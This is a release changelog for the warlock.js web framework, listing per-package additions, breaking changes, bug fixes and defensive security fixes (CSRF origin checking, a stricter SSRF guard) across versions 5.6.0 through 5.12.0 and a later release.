Fixed Safely return no alias resolution when a configured alias has no first target.
Fixed @warlock.js/core no longer imports @warlock.js/auth; useHashedPassword now calls core's own hashPassword directly instead of an auth-service delegate that only called back into core, and @warlock.js/auth moves to a dev-only dependency. A guard spec now fails the build if any core/src module imports @warlock.js/auth.

@warlock.js/cascade Added 8 Changed 3 Fixed 5

Added Model.atomic, Model.findOneAndUpdate and Model.findAndUpdate take options: upsert, arrayFilters (MongoDB), and on findOneAndUpdate returnDocument: "before" | "after" (default stays "after"). A counter or quota can now be filter + $inc/$setOnInsert + upsert, returning the new document, in one call.
Added Update operators $setOnInsert and $addToSet, and pipeline (array-form) updates such as [{ $set: { score: { $add: ["$likes", "$shares"] } } }] (MongoDB).
Added trustedFilter: true lets a code-authored conditional filter ({ used: { $lt: 10 } }) through the operator-injection check on these statics. Filters are still checked by default.
Added Postgres upsert runs as INSERT … ON CONFLICT … DO UPDATE … RETURNING *. The conflict target is the primary key or a unique index whose columns are all equality keys of the filter.
Added UnsupportedUpdateOperationError (operation, driver): what a driver throws when it cannot run part of an update.
Added .lean() on the query builder: get / first / paginate / chunk return plain objects typed as the model schema (LeanDocument<T>), with no Model hydration, no driver casting and no fetched event. static hidden fields are still removed. With with() / joinWith() it throws UnsupportedLeanOperationError. About 1.9x faster than a hydrated read for 10k MongoDB documents.
Added .unwind(field, { preserveNullAndEmptyArrays?, includeArrayIndex? }) and .addFields(fields) on the query builder (MongoDB). Both run in call order, so a where() after unwind() filters the elements. join({ table, alias, pipeline }) now sends a pipeline $lookup.
Added UnsupportedQueryOperationError (operation, driver): the Postgres builder throws it for unwind() and addFields(), so these stages are never dropped without an error.
Changed BREAKING: The Postgres driver now throws UnsupportedUpdateOperationError for $push / $pull / $addToSet, pipeline updates, arrayFilters and unknown operators. It used to ignore $push / $pull without saying so.
Changed Model.atomic returns modified + upserted count.
Changed Postgres findOneAndUpdate picks its row with SELECT … LIMIT 1 FOR UPDATE, matches it by primary key and checks the filter again, so concurrent callers never go past a conditional filter.
Fixed $dec on the MongoDB driver was sent to the server as-is and rejected ("Unknown modifier"). It is now converted to a negative $inc.
Fixed The MongoDB pipeline parser dropped $vectorSearch and $addFields stages, so similarTo() ran with no vector search and no score. It now emits both.
Fixed On MongoDB, a join() with a pipeline sent a $lookup with no pipeline and no join fields.
Fixed On MongoDB, joinRaw() and raw() were silently dropped from the pipeline. joinRaw(stage | stages) now emits the stages verbatim in call order; raw(pipeline => …) receives the pipeline built so far and may return a replacement. A SQL string, a non-stage object or a non-array callback result throws UnsupportedQueryOperationError.
Fixed On MongoDB, select([...]).orderBy(field) did not sort when field was not selected, because $project ran before $sort (hydrated, lean, first() and paginate() reads). The sort now runs before the projection; sorting by a computed selectRaw alias still works, also mixed with unselected fields.

create-warlock Added 1 Fixed 3

Added The optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
Fixed A --db=postgres scaffold shipped src/config/database.ts with an empty clientOptions: {}. Cascade's PostgresPoolConfig extends PostgresConnectionConfig, whose database field is required (not optional, unlike Mongo's MongoClientOptions), so {} failed tsc --noEmit on that exact line before a single line of app code ran. templates/warlock/src/config/database.postgres.ts now sets database inside clientOptions too. Verified against a real npm create warlock@5.12.0 --stack=web --db=postgres --jwt scaffold installed from the registry: this was the only tsc error once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check in specs/template-integrity.spec.ts.
Fixed Investigated a separate report that a --stack=web --db=postgres --jwt scaffold lacked @warlock.js/web and @types/react/@types/react-dom. Not reproducible against the published 5.12.0 template: package.json lists all three correctly, and a clean install (npm ci with NODE_ENV unset) installs them. The only way to reproduce the missing @types/* packages was installing with NODE_ENV=production set, which makes npm skip devDependencies entirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report.
Fixed The scaffolded User model's verified scope queried a boolean emailVerified column that has never existed in the template's schema or migration. @warlock.js/auth's email verification (added in 5.13.0) stamps emailVerifiedAt (a nullable Date) instead, treating "verified" as the field holding a value. templates/warlock/src/app/users/models/user/user.model.ts now declares emailVerifiedAt: v.date().optional() on the schema and scopes verified via query.whereNotNull("emailVerifiedAt"); the user migration adds the matching nullable timestamp() column. Guarded by new checks in specs/template-integrity.spec.ts.

@warlock.js/ai Added 2 Fixed 1

Added Scoped UTC day/month budget ledgers through budget({ scoped }), with an in-memory store and a lazy optional-peer cache store. Shared limits atomically reject overages with ScopedBudgetExceededError carrying the ledger key, window, limit, and attempted usage. Cache-backed deployment-wide enforcement requires a cache driver whose update primitive is cross-node atomic; Cascade storage awaits its atomic upsert API.
Added cascadeScopedBudgetStore({ model }) / cascadeScopedBudgetStore({ table }) â€” a lazy optional Cascade ledger with atomic conditional reservations. Its backing table needs a unique (key, windowStart, unit) index.
Fixed @warlock.js/cache marked optional in peerDependenciesMeta — every runtime import of it in src is import type (structural typing only, e.g. config.ts, memory/*.ts, rag/**); @warlock.js/cache is never required to resolve at runtime for a consumer that doesn't opt into cache-backed features. @warlock.js/logger stays a required (non-optional) peer: several modules (config.ts, agent/agent.ts, eval/eval-runner.ts, workflow/engine.ts, planner/planner.ts, planner/planner-run.ts, supervisor/execution.ts) import its log value statically at the top level, so the package must be resolvable at load time.

@warlock.js/cache Changed 1

Changed Portable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.

@warlock.js/context Changed 1

Changed Portable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.

@warlock.js/fs Changed 1

Changed Portable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.

@warlock.js/herald Changed 1

Changed Portable typecheck script: runs against this package's own typescript devDependency instead of relying on a hoisted binary from elsewhere in the workspace.

@warlock.js/logger Fixed 1

Fixed Use the package-resolved TypeScript binary for type checking.

@warlock.js/notifications Fixed 1

Fixed Restored the portable typecheck script after Core's path-alias resolver was made safe for an absent first target.

@warlock.js/seal Fixed 1

Fixed Use the package-resolved TypeScript binary for type checking.

5.12.0

September 16, 2026

The authenticated user moves from request.user to request.locals.user (BREAKING, @warlock.js/core / @warlock.js/auth / @warlock.js/access), @warlock.js/auth adds a CSRF Origin check for cookie-authenticated writes plus setAuthCookie() / clearAuthCookie(), and @warlock.js/web ships an opt-in server-side page cache, defer()-ed streaming data with crawler-aware inlining, scroll restoration and locale-direction (RTL) support. @warlock.js/core adds opt-in request tracing and a CSP header; create-warlock scaffolds non-interactively by default and fixes a fresh-scaffold npm run seed failure. Lockstep release across all 28 packages. Generator matrix ran subset scope (baseline, web rows) against the staged candidate, authorised by Hasan on 2026-09-16: "Yes do it please, don't release before completing all mising points and make sure you have covered everything in the tasks board."

Generator matrix: selected rows ran against the staged candidate — baseline, web.

@warlock.js/web Added 9 Changed 3 Fixed 2

Added Emitted scripts carry the request's CSP nonce.
Added <ClientOnly> and useIsClient() — render browser-only UI with a server fallback and no hydration mismatch.
Added defer() in page loaders — stream a slow top-level loader key in after the shell instead of blocking the first byte on it, read it with React's use() inside <Suspense>. A rejection or a web.streaming.deferTimeout timeout resolves to the nearest <Suspense> error boundary with status 200 already sent, never a different HTTP status. Client navigations stream the same values as NDJSON automatically. metadata() may read only resolved keys — reading a deferred one throws DeferredKeyInMetadataError, naming the key and the page, in dev and in production. See the stream-deferred-data skill.
Added Scroll position is restored on back/forward client navigation, keyed per history entry and persisted to sessionStorage. New navigations scroll to the top, or to the hash fragment when there is one.
Added localeDirection(locale) and useTextDirection(): one locale-to-direction resolver shared by server and client. Root templates set <html lang={locale} dir={useTextDirection()}>.
Added changeLocaleCode(code) switches the active locale without a full reload. The server persists the choice in its locale cookie when a navigation data request carries ?locale=.
Added Page requests report loader (per level), render.shell and stream.end phases through core's http.tracing hooks when tracing is enabled (off by default).
Added web.streaming.crawlers — a detected crawler's full-document request now gets every defer()-ed value awaited and inlined in the HTML before the first byte, so indexing needs nothing else; a rejection renders the ordinary error boundary with its real status. The document still carries the normal __WARLOCK_DEFER__ settlement scripts so a JS-capable crawler hydrates use(data.key) through the existing registry same as any other visitor. Detection is case-insensitive against a documented built-in user-agent list (googlebot, bingbot, yandex, duckduckbot, baiduspider, slurp, applebot, facebookexternalhit, twitterbot, linkedinbot, discordbot, slackbot, telegrambot, whatsapp, embedly, pinterest); set crawlers: false to disable detection, or crawlers: { userAgents, detect } to customise it — detect wins outright when given. A page that uses defer() now sends Vary: User-Agent on its document response; a page that never defers is unaffected. See the stream-deferred-data skill's "Crawlers" section.
Added A server-side page cache, opt-in per route. Extends route.cache with serverCache?: boolean, tags?: string[] | ((data) => string[]), and an optional ttl — separate from public/maxAge, which only decide the downstream CDN's Cache-Control. A serverCache route holds its resolved document AND x-warlock-data JSON, and serves a HIT without re-running loaders or rendering. The cache key is the normalised path, sorted query, resolved locale and representation (html/json); a request for the NDJSON representation is served the fully-resolved json variant instead of streaming. A request carrying an Authorization header or the configured auth cookie (auth.cookie.name, default access_token) always bypasses the cache, before any loader runs. Storage requires GET, status === 200, no Set-Cookie, and a provably unauthenticated request — the same fail-closed rule already governing Cache-Control. Responses carry a new x-warlock-cache: hit | miss | bypass header. Invalidate stored entries with invalidatePageCache(tags), imported from the server-only subpath @warlock.js/web/page-cache (it reaches @warlock.js/cache, so it stays off the client-reachable root barrel). @warlock.js/cache is an optional peer, loaded only when a route actually opts in; enabling serverCache with an in-process cache driver (memory/LRU/memory-extended) in a clustered deployment logs a one-time warning, since invalidation on one worker never reaches another — use a shared driver (redis/pg) for cluster-wide invalidation. See the create-a-page skill's "Server-side page cache" section.
Changed The page-data wire format is now devalue, not plain JSON. Dates, Maps and Sets (and BigInts, undefined inside an object, repeated references, and cyclic structures) now arrive in the browser intact — as real Date/Map/Set instances, not flattened strings or dropped keys — for appData, layoutData, pageData, and a defer()red value's settlement, on the initial document, a client navigation's data response, and its NDJSON stream. A loader value devalue cannot serialize (a class instance it does not recognize, a function, a symbol) now fails the build loudly in dev and production, naming the loader level (app/layout/page), the key path, and the page route — give it a resource or a toJSON() instead. shared is unaffected: it keeps its own, stricter gate. See the load-page-data skill's "What survives the wire" section.
Changed The dev and production page installers now share the layout-prefix table and the not-found route's options instead of implementing each twice; parity checks cover both.
Changed Pages are rendered with React's streaming renderer. The response still waits for loaders, validation and middleware, so status codes, headers and cookies are unchanged — the document simply starts arriving sooner.
Fixed document.documentElement's lang/dir now follow a client-side locale switch — changeLocaleCode(), and any navigation or refresh whose payload carries a different locale. Previously useLocale()/useTextDirection() updated in-page immediately, but documentElement kept the last full load's lang/dir until a reload, because root.tsx sits outside the hydrated subtree.
Fixed A page middleware that short-circuits a full page load now always answers with something, never a silently empty document. Previously, a middleware that returned a value WITHOUT writing the reply itself (e.g. response.setStatusCode(403); return { error }, or a plain return { message }) produced a blank document at that status — the returned value was recorded but never used. A middleware that already wrote its own reply (response.redirect(), .forbidden(), any call reaching .send()) was and is unaffected: the wire already carried the real answer. Now: a >= 400 short-circuit renders your error.page.tsx boundary with that status and the returned value attached to the error; a 2xx short-circuit sends the returned value as the body, unchanged (JSON-stringified if it's an object) — a page middleware returning 2xx content replaces the page. Client navigations (data requests) are byte-identical to before.

@warlock.js/auth Added 1 Changed 1 Security 2

Added authService.setAuthCookie(response, token, options?) and authService.clearAuthCookie(response, options?) — the write side of the cookie:<name> token source authMiddleware([], "cookie:<name>") has accepted since 5.0.0 (card 50bf4f1a). setAuthCookie accepts a raw token string or an AccessTokenOutput (deriving Max-Age from expiresAt automatically); both are explicit app-controller calls — login/logout never set cookies implicitly, so upgrading never starts emitting Set-Cookie for an existing bearer-only app. Cookie name/path are configurable via the new auth.cookie config block (defaults: "access_token" / "/"); attribute flags (HttpOnly, SameSite=Lax, Secure outside dev) are not — they come from core's secureCookieDefaults(), the framework-wide floor.
Changed BREAKING: the authenticated user now lives at request.locals.user, declared by @warlock.js/auth. request.user is removed (in development it throws with the new location). @warlock.js/auth's middleware writes request.locals.user after a successful token resolution and clears it (= undefined) on a forged, malformed, expired, or wrong-type token; RequestUser — the augmentable, empty-by-default interface apps narrow to their own model — moved from @warlock.js/core into @warlock.js/auth alongside it.
Security CSRF Origin check for cookie-authenticated writes. authMiddleware now automatically rejects, with 403 (AuthErrorCodes.CsrfOriginMismatch, "EC006"), any request whose credential came from a cookie: source and whose method is unsafe (POST/PUT/PATCH/DELETE) unless Origin (or, absent that, Referer) names the request's own origin or an entry in the new auth.csrf.allowedOrigins config (default []). A request with neither header is rejected, fail-closed. Header-token authentication and safe methods (GET/HEAD/OPTIONS) are completely unaffected. This closes the residual CSRF gap SameSite=Lax alone leaves open for cookie auth (a same-site GET redirect chain, or a client that ignores SameSite); a double-submit token mechanism is deferred to a later release.
Security The CSRF Origin check's own-origin comparison includes the request's port (read from the Host header, since core's request.hostname never carries one), with default ports (:80 on http, :443 on https) normalised as equivalent to no port. A same-origin cookie-authenticated write on a non-default port — e.g. every warlock dev session — is now correctly allowed instead of being rejected with 403 EC006.

@warlock.js/core Added 3 Changed 2 Fixed 3

Added Opt-in request tracing (http.tracing): vendor-neutral onRequestStart / onRequestEnd / onPhase hooks fired around route.match, middleware, validation, handler, and response.write, with the trace id derived from an inbound W3C traceparent header (falling back to request.id). Off by default and zero-overhead when disabled; a throwing hook is caught and reported once, never breaking the request. No new response header — apps still correlate through the existing X-Request-Id echo. See the request-tracing skill.
Added Opt-in Content-Security-Policy header (http.csp), using the per-request nonce the framework already generates; report-only mode supported.
Added Response.streamReact() and the underlying streamReactResponse() helper (@warlock.js/core's Stage 1 streaming SSR seam): pipe a React server stream (renderToPipeableStream) onto the raw response after writing the already-committed status and headers, aborting the render if the client disconnects. @warlock.js/web uses this exclusively to stream a page document — it never touches the raw response itself.
Changed container.get(key) now throws a named error when the key is not registered, instead of returning undefined while typed as present. Use container.tryGet(key) where the value is genuinely optional.
Changed BREAKING: request.user and clearCurrentUser() removed from the HTTP request; RequestUser moved to @warlock.js/auth. The authenticated user now lives at request.locals.user, a key @warlock.js/auth declares via module augmentation on RequestLocals and writes from its middleware. Reading request.user in development throws a new RequestUserMovedError naming request.locals.user (kept for one release as a migration diagnostic; removal is documented, not silent). decodedAccessToken and its cache-mark behavior (request.locals.authDerived) are unchanged. useCurrentUser() / requestContext.getUser() now read request.locals.user and return unknown/the caller's generic instead of the removed RequestUser type — see @warlock.js/auth's currentUser() for a typed wrapper.
Fixed Renaming or moving a file under warlock dev no longer prints a false ENOENT failure before the route is rewired.
Fixed warlock routes --json now prints only JSON on stdout. The › Running <command>... header moved to stderr, like the completion banner.
Fixed Production build contribution hooks (generate / emit) saw outFile, entryPath, singleBundle, esmShim and banner as undefined, because bundling deleted them from the shared build options. The bundler now works on its own copy.

create-warlock Changed 1 Fixed 1

Changed create-warlock asks at most one question (API-only or full-stack web); every other choice is a flag with a default, printed after scaffolding. Fully non-interactive with --yes; --interactive restores the long form; --agents picks agent-kit targets (default claude).
Fixed npm run seed failed on a fresh scaffold: the generated userSchema required image and lastLogin, but neither the seed data nor a password login ever supplies them. Both are now .optional() on the model — image is still required at registration by the controller's own create-user.schema.ts, and lastLogin is only ever written by the social-login handler, so a user who has never logged in correctly has neither.

@warlock.js/access Changed 1

Changed Follows @warlock.js/core and @warlock.js/auth's 5.12.0 move of the authenticated user from request.user to request.locals.user: gate() / gateAny() / gateAll() now read request.locals.user instead of the removed request.user. No change to can() / canAny() / canAll() themselves, and no change to the app-side contract — an app still augments RequestUser (now declared by @warlock.js/auth) to its own Auth-derived model.

@warlock.js/fs Fixed 1

Fixed Atomic writes on Windows no longer fail intermittently with EPERM / EBUSY when another process briefly holds the target; the rename is retried with a short backoff, and a clear AtomicWriteError is thrown if it never succeeds.

5.11.0

September 14, 2026

A page load that fails validation now renders your error page with status 400 instead of a blank page (@warlock.js/web), v.boolean().accepted() / .declined() now accept the form strings they advertise (@warlock.js/seal), and @warlock.js/cascade's pg / mongodb drivers are optional peers so a no-database project installs cleanly. warlock dev reloads backend files sooner and prints hmr update only once the change is live; create-warlock drops the misleading guardedAdmin() helper. Lockstep release across all 28 packages.

Generator matrix: not run for this release.

@warlock.js/web Changed 2

Changed A page load that fails validation now renders your error.page.tsx with status 400 and the validation errors, instead of a blank 400 response. Client navigations are unchanged. If you relied on the empty body, check your error page handles a 400.
Changed The dev and production page installers now compose a layout level's middleware and loaders through one shared rule, and a parity check covers middleware and loaders as well as rendering and prefixes.

@warlock.js/seal Fixed 1

Fixed v.boolean().accepted() / .declined() (and their conditional variants) rejected every string form they advertised — "yes", "on", "1" — because the boolean type rule ran first. They now parse those form values into a real boolean.

@warlock.js/cascade Fixed 1

Fixed A project that uses no database — or only one of PostgreSQL / MongoDB — no longer fails npm ls with missing pg / mongodb peers; both drivers are now optional peers, and you install the one you use.

@warlock.js/core Added 1 Changed 1 Fixed 1

Added Tests and documentation for optional file fields: v.file().optional() skips an absent upload and reports a present non-file value as a normal validation error.
Changed Backend file changes are picked up sooner in warlock dev (event debounce 150ms → 50ms).
Fixed warlock dev printed hmr update for a backend file before the new code was live, so a request made right after the line could still get the old response. The line now prints once the reload has finished and shows how long it took.

create-warlock Removed 1

Removed The generated guardedAdmin() router helper. It only checked that the user was signed in — any user type — while its name and /admin prefix implied an admin-only area. New projects get guarded() (any authenticated user) and a documented example for restricting a group to a user type. Existing projects keep their own copy of the file; review it if you used guardedAdmin.

5.10.0

September 14, 2026

@warlock.js/seal adds v.boolean().coerce() for query-string booleans ("true"/"1" → true, "false"/"0" → false), strict by default. @warlock.js/web pins one 400 for a page whose validation = { params, query } fails in both parts and corrects the load-page-data skill; create-warlock ships a formatted postgres template. Lockstep release across all 28 packages.

Generator matrix: not run for this release.

@warlock.js/seal Added 1

Added .coerce() on v.boolean() — opt-in query-string coercion ("true"/"1" → true, "false"/"0" → false).

@warlock.js/web Fixed 1 Removed 1

Fixed The load-page-data skill described the withdrawn { schema }-only validation shape and a 422 status; it now documents validation = { params, query } and its single 400.
Removed Unused internal RouteValidationError.

create-warlock Fixed 1

Fixed A postgres scaffold shipped src/config/database.postgres.ts unformatted, so a new project's first dev run flagged it. The template is formatted, and the template-format check now runs as part of create-warlock's own test suite.

5.9.0

September 14, 2026

@warlock.js/seal adds opt-in query-string coercion — v.int().coerce() (and the number family) parse a numeric-shaped string into a number while strict validation stays the default. @warlock.js/web now warns when a .client module is reached from the server import graph (the suffix is a developer marker, not enforced isolation) and pins dev/prod route-table parity as an always-on gate; @warlock.js/auth documents one app-owned optional-auth middleware as the sanctioned pattern, with auth.pageAuth as its adapter. Lockstep release across all 28 packages.

Generator matrix: not run for this release.

@warlock.js/seal Added 1

Added .coerce() modifier on the number validators (int / number / float / numeric): opt into parsing a numeric-shaped string (e.g. a query-string param) into a number while the type rule stays strict. v.int() is unchanged by default; chain .coerce() to accept "2" as 2. The inferred output type is unaffected.

@warlock.js/web Added 1

Added Dev diagnostic when a .client module is reached from the server import graph. The .client suffix is a developer marker, not enforced isolation (the import graph decides where code runs); this emits a named, non-fatal warning identifying the offending edge instead of silently over-promising.

5.8.0

September 13, 2026

Auth token migrations now match your user model's primary key (integer or uuid), fixing a fresh app's first login, and a guarded page can redirect a logged-out browser to a login route (opt-in auth.pageAuth). Custom warlock <command> files resolve the app/* alias, --db=postgres scaffolds a real Postgres config/database.ts, and dev SSR no longer flashes unstyled. Fixes across core, auth, web, cascade and create-warlock.

Generator matrix: not run for this release.

@warlock.js/auth Added 1 Fixed 1

Added Guarded page routes can redirect a logged-out browser to a configurable login path instead of returning a raw JSON 401 — opt-in via auth.pageAuth.loginPath (API routes still return the JSON 401).
Fixed The access_tokens / refresh_tokens migrations now derive the user_id column type from the user model's primary key (via foreignId), so a fresh app with an integer-PK user can log in — the hardcoded uuid user_id previously failed the first login with no diagnostic.

@warlock.js/core Added 1 Changed 1 Fixed 5

Added doctor gains a jwt-secret check: it fails when auth.userType is configured but no JWT signing secret is set — the pre-flight form of the silent first-login 500 the lazy secret resolution would otherwise throw.
Changed The emitted generator and starter templates no longer carry a redundant .required() — @warlock.js/seal fields are required by default, so the call was a no-op that taught the opposite of the truth. .required() still exists for setting a custom message.
Fixed CLI command modules now resolve the app/* path alias and .ts siblings the way controllers and pages do. The ESM loader hook is registered before a command module is imported, so a warlock <command> file that imports app/* no longer dies with ERR_MODULE_NOT_FOUND.
Fixed warlock generate.* error hints point at generate, not the removed create.* command.
Fixed A generated CRUD repository imports every @warlock.js/core type it references, and a generated seed stub ships disabled so an unfilled stub cannot abort the whole warlock seed run.
Fixed The HTTP-port preflight runs only for a boot that actually starts the http connector, so a scoped data command (warlock seed, migrate) no longer probes — and collides with — a port it never binds.
Fixed A port-in-use error now names the HTTP_PORT environment variable and tells you to unset it when an ambient value is the cause, instead of advising a src/config/http.ts edit that the environment variable would just override.

@warlock.js/cascade Added 1 Fixed 1

Added Migration.foreignId(name) derives a foreign-key column's type from migrationDefaults.primaryKey, so FK columns match the app's chosen primary-key type (integer / bigInteger / uuid).
Fixed Numeric-looking Postgres connection config (e.g. a numeric DB_NAME) is coerced to a string via buildPostgresPoolConfig, instead of crashing the driver with an inscrutable buffer error.

@warlock.js/web Fixed 2

Fixed Dev SSR now emits the page's stylesheet <link> in <head>, fixing a cold module-graph flash-of-unstyled-content — the first paint of a page whose CSS is reached only through the module graph is now styled in development, as it already was in production.
Fixed A dev-mode SSR render error now reaches an unconditional stderr floor with a real diagnostic, instead of a diagnostic-free generic 500.

5.7.0

September 12, 2026

A fresh project installs again on Node 22, the SSRF guard now fails closed on an address it cannot classify, and @warlock.js/web withdraws the 5.6.0-added route.validate / route.middleware — a page still declaring either refuses to boot. Fixes across core, web, ai, cascade, cache, logger, access, ai-openai and create-warlock.

Generator matrix: not run for this release.

@warlock.js/web Changed 1 Fixed 4 Removed 1

Changed The dev and production page installers now agree on the layout chain, the layout level, and the hydration entry URL by construction rather than by inspection, each gated with a red control. The three places they still differ — live public/ serving, its cache header, and hashed-asset caching — are deliberate and are now declared in the code that implements them.
Fixed Dev and production agree about stylesheets. A stylesheet reached only through a component import was collected by production's bundler-graph walk and was structurally invisible to dev's scan of the page file — so a page rendered unstyled in development and correct in production. Both sides now end in one traversal, gated by a fixture built through both pipelines with the outputs diffed.
Fixed A client navigation whose data payload is incomplete now loads the page normally instead of rendering it blank. Navigation carried its own copy of the payload rule and checked two of the six required keys, so a payload that could not render a page was accepted and handed to React anyway; the failure surfaced later, somewhere else, pointing at nothing. It now falls back to a full page load — slower for that one click, and the page arrives.
Fixed The dev server no longer says it is watching for changes while it is not yet serving. On a slow boot that line arrived up to three minutes before the port was bound; every word of it was true and the impression it left was false.
Fixed The create-a-page skill and llms-full.txt taught route.validate and route.middleware — with a complete worked example — after both were withdrawn. Following our own documentation produced an app that would not start.
Removed route.validate and route.middleware are withdrawn, one release after 5.6.0 added them. They were a second way to say what the top-level validation and middleware exports already said, on the same file — and the two validation surfaces disagreed about the status code. Migration is a move, not a rewrite: the schema shape is unchanged (params and query stay separate, never merged) and the failure is still 400.

@warlock.js/core Changed 1 Fixed 5 Security 1

Changed Internal type-safety hardening across the CLI, dev server and request handling; no other behaviour change.
Fixed The dev server no longer says it is watching for changes before it is serving. On a slow boot that line could arrive minutes before the port was bound.
Fixed The dev-server error formatter can no longer throw while formatting an error, which replaced the developer's real error with its own crash.
Fixed warlock add with an unknown feature now names it, instead of dying with Cannot read properties of undefined.
Fixed Bracket-notation request bodies (items[0][name]) no longer silently drop values.
Fixed warlock routes and the circular-import report degrade to unaligned output instead of throwing on an unexpected shape.
Security The SSRF guard now fails closed on an address it cannot classify. An unclassifiable IP was previously treated as public, so an outbound request could reach an internal address the guard exists to block.

@warlock.js/cascade Changed 1 Fixed 4

Changed Internal type-safety hardening elsewhere; no other behaviour change.
Fixed The Postgres query builder could quote a malformed or empty field path straight into generated SQL, producing a syntactically valid query against the wrong identifier; it now throws naming the offending field path instead.
Fixed The MongoDB pipeline builder could build $group, $lookup, $limit/$skip/$setWindowFields stages from an empty operation group, producing malformed stages (e.g. { $limit: undefined }, a $lookup with no from/localField/foreignField) that MongoDB rejected only at query execution. These now resolve to the documented safe defaults (null/skip) instead.
Fixed The dirty-change tracker and the MongoDB migration driver could write or delete the literal key "undefined" on a document when a dirty-path segment was missing, instead of leaving the real field untouched.
Fixed The query builder's count and JSON-projection handling could dereference an absent regex capture and throw, instead of falling back to the same empty result its other branches already return.

@warlock.js/ai Changed 2

Changed Breaking: indexing (rag and the skills catalogue) now throws EmbeddingVectorCountMismatchError when an embedding provider returns fewer vectors than records, instead of silently storing/scoring a record with no vector. Previously the run reported success while a document was left out of the index entirely.
Changed Internal type-safety hardening; no other behaviour change.

@warlock.js/ai-openai Fixed 2

Fixed embed() on a provider response with an empty data array now throws EmbeddingVectorCountMismatchError naming the provider and expected/received counts, instead of a bare TypeError: Cannot read properties of undefined (reading 'embedding').
Fixed Chat completions on a provider response with an empty choices array now throw a ProviderError naming the provider, model, and choice count, instead of a bare TypeError.

@warlock.js/cache Changed 1 Fixed 1

Changed Internal type-safety hardening elsewhere (similarity scoring, percentile calculation); no behaviour change.
Fixed The in-memory cache driver's expiry sweep iterated for...in while deleting entries from the same object it was iterating, which could skip not-yet-visited keys and leave them cached past their TTL. It now snapshots entries first.

@warlock.js/logger Changed 1 Fixed 1

Changed Internal type-safety hardening in the file-log and JSON file-log channels; no behaviour change.
Fixed redact() could leave a field un-redacted — writing to the literal key "undefined" instead of the intended path segment — when a configured redaction path had an empty segment.

create-warlock Fixed 2

Fixed A freshly scaffolded project could fail npm install outright on Node 22, crashing inside npm 10.9.x's Arborist peer resolver with Cannot read properties of null (reading 'edgesOut') while resolving the template's vitest dependency. The template now pins vitest to 4.0.5.
Fixed When the generated project's install failed, the scaffolder told the user to "fix the error above, then run the install again" — advice that could not be followed for an npm-internal crash. It now recognizes the npm 10.9.x Arborist crash and points to concrete next steps (npm 11, pnpm, or yarn) instead.

@warlock.js/access Fixed 1

Fixed resolvePermissions could push undefined into a role's permission list when the role's stored value was missing, instead of granting that role no permissions. A role that cannot be read now grants nothing, rather than risking an undefined entry reaching a permission check downstream.

@warlock.js/ai-deepseek Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/ai-groq Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/ai-mistral Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/ai-xai Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/context Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/herald Changed 1

Changed Internal type-safety hardening; no behaviour change.

@warlock.js/seal Changed 1

Changed Internal type-safety hardening; no behaviour change.

5.6.0

September 8, 2026

A built app could not boot under a strict pnpm tree. warlock build reported success and warlock start died with ERR_MODULE_NOT_FOUND for @fastify/http-proxy — the bundler left every bare specifier for the *app* to resolve, the framework's own dependencies included, and those resolve by accident under npm/yarn hoisting but cannot resolve under pnpm. Externality is now decided per import edge. Wildcard paths in your tsconfig.json (app/*, web/*) were resolved by nothing and reached the artifact as bare specifiers; they resolve now, and one that matches no file is a build error rather than a silent external. In @warlock.js/web: every rendered page returned 500 in warlock dev because the client boundary was decided by file location instead of the import graph, page files were discovered and ignored in silence, and a page can now declare its own input contract through route.validate and route.middleware.

Generator matrix: not run for this release.

@warlock.js/core Changed 2 Fixed 5

Changed response.clearCookies() documents what it cannot do, in its first sentence: a cookie set on one path is not cleared by a call made from another. The behaviour is unchanged — the promise it appeared to make was never one it could keep.
Changed The router folds its own route prefixes through the same normaliser the rest of the framework uses, so a prefix cannot be normalised two different ways.
Fixed A production build asked the APP to resolve packages only the framework declares, so a built app could not boot under a strict pnpm tree. Every bare specifier was left external, including the @fastify/*, find-my-way, fast-jwt and @mongez/* imports that reach the bundle through the framework's own code — none of which an app has any reason to declare. Under npm/yarn hoisting they resolved by accident; under pnpm the app died with ERR_MODULE_NOT_FOUND at startup, after a build that reported success. Externality is now decided per import edge: a bare specifier stays external unless the importer is not the app's own code AND the specifier names a package that importer's own dependencies declare.
Fixed An optional peer still stays external, and now by construction rather than by a list. nodemailer, socket.io, mongodb, vite, redis, pg, the AI SDKs and @aws-sdk/* are declared as peer dependencies, never dependencies, so the rule above leaves every one of them alone without anyone having to maintain a list of their names.
Fixed Wildcard paths in tsconfig.json were resolved by nothing. app/* and web/* — the aliases an app uses to refer to its own source — were skipped because esbuild's alias option cannot express a wildcard, and nothing took over. import { User } from "app/users/models/user.model" survived into the artifact as a bare specifier and warlock start failed with Cannot find package 'app'. They now resolve, and a wildcard that matches a declared alias but resolves to no file is a build error rather than a silent external.
Fixed response.setLocale() wrote the locale cookie under a name spelled independently of the one request read it back under. One constant now owns that name at both ends, with a test that reads back whatever the writer emitted rather than naming the cookie itself.
Fixed A container lookup that missed reported only that the key was not bound. When more than one copy of @warlock.js/core is loaded — which a source checkout or a mixed install can produce — that message described a real condition as if it were a wiring mistake. The failure now names the duplicate-instance condition and how many copies it found, on the failure path only.

@warlock.js/web Added 2 Changed 4 Fixed 7

Added A page can declare its input contract on its route export. The export now accepts an object as well as a string: { path, name?, cache?, validate?, middleware? }. validate is a Seal schema over { params, query } — kept separate, never merged — and the validated value reaches the loader typed from the schema. A failure renders the error page at 400 carrying the failure, and travels the same way over the client-navigation wire. Layout middleware runs outermost-first with the page's own last, so a layout's auth gate cannot be bypassed by a page that declares its own.
Added useQueryString(key) — a subscription to one query-string parameter that re-renders on client navigation. Wiring it up exposed that routerEvents was only ever fired by refresh(): <Link> and browser back/forward emitted nothing, so anything subscribed to navigation silently never updated. Navigation now emits its events on every path.
Changed The dev and production page installers now share their composition rules — layout-level selection, loader folding, route identity, and the duplicate-route message — instead of implementing them twice. A route collision reported in dev used to quote a dev-only file path in a message production also raises.
